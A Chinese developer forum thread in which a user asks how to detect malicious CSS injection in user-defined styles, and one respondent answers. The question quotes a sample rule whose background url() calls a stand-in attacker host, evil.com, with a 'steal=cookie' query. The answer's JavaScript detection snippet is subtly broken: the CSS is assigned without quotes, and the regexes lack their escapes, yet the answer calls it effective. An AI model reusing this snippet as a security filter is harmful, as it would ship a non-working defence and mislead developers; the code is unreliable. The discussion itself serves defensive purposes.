前端项目里怎么用威胁情报检测恶意CSS注入？

シ翼杨提问于 2026-03-31 15:23:12 阅读 14

安全

最近在做安全审计，听说要关注威胁情报里的CSS注入风险，但我搞不清具体该查什么。我们项目用了动态加载用户自定义样式的功能，会不会有隐患？

比如下面这段用户可能提交的CSS：

.user-content {
  background: url('https://evil.com/track?steal=cookie');
  width: 100px;
  height: 100px;
}

这种写法浏览器会真的发请求吗？我该怎么在前端层面提前识别或拦截这类可疑样式？试过用CSP但好像对内联style限制不够严。

我来解答赞 5 收藏

反馈

1 条解答

司马智慧 Lv1

试试看用正则表达式在样式提交时检测 url() 和 @import 语法，拦截可疑链接。简单粗暴但有效：

const css = .user-content { background: url('https://evil.com/track?steal=cookie'); };

if (/url(['"].*?['"])/.test(css) || /@imports+[^;]+;/.test(css)) {

  console.log('检测到可疑CSS');

}

记得同时配置CSP策略，限制只允许加载特定域名资源。这俩组合拳能解决大部分问题，别想太复杂。

2026-03-31 16:00